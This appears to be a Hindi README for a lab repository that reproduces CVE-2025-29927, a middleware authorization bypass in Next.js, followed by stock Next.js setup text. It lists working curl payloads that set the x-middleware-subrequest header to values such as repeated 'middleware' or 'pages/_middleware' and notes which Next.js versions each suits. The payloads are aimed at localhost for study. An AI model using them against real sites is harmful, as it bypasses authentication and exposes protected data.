
vulnerable-nextjs-14-CVE-2025-29927
यह रिपॉजिटरी next पैकेज में CVE-2025-29927 भेद्यता का पुनरुत्पादन है।
/api/hello एंडपॉइंट तक पहुँच से इनकार करता है।$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
x-middleware-subrequest हेडर में middleware को 5 बार नेस्ट करके भी बायपास किया जा सकता है:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 और 13 संस्करणों में मिडलवेयर फ़ाइल के लिए एक अलग नामकरण परंपरा थी (_middleware.js), जिसे Next.js 14 में बदलकर middleware.js कर दिया गया। पुराने संस्करणों में _middleware.js फ़ाइल का उपयोग करके इस भेद्यता का शोषण किया जा सकता है।
उदाहरण के लिए, Next.js संस्करण और आपकी रूटिंग परंपरा के आधार पर निम्नलिखित पेलोड लागू होंगे:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js संस्करण 12.2 के लिए जिसमें middleware.js फ़ाइल ऐप के रूट में है, न कि pages निर्देशिका के अंदर)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js संस्करण 11 से 12.2 तक के लिए)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloसबसे पहले, डेवलपमेंट सर्वर चलाएँ:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
परिणाम देखने के लिए अपने ब्राउज़र में http://localhost:3000 खोलें।
आप app/page.js को संशोधित करके पृष्ठ को संपादित करना शुरू कर सकते हैं। फ़ाइल को संपादित करते ही पृष्ठ स्वतः अपडेट हो जाता है।
यह प्रोजेक्ट Vercel के लिए एक नया फ़ॉन्ट परिवार Geist को स्वचालित रूप से अनुकूलित और लोड करने के लिए next/font का उपयोग करता है।
Next.js के बारे में अधिक जानने के लिए, निम्नलिखित संसाधनों पर नज़र डालें:
आप Next.js GitHub रिपॉजिटरी देख सकते हैं - आपकी प्रतिक्रिया और योगदान का स्वागत है!
अपने Next.js ऐप को परिनियोजित करने का सबसे आसान तरीका Next.js के निर्माताओं द्वारा बनाए गए Vercel प्लेटफ़ॉर्म का उपयोग करना है।
अधिक विवरण के लिए हमारा Next.js परिनियोजन दस्तावेज़ देखें।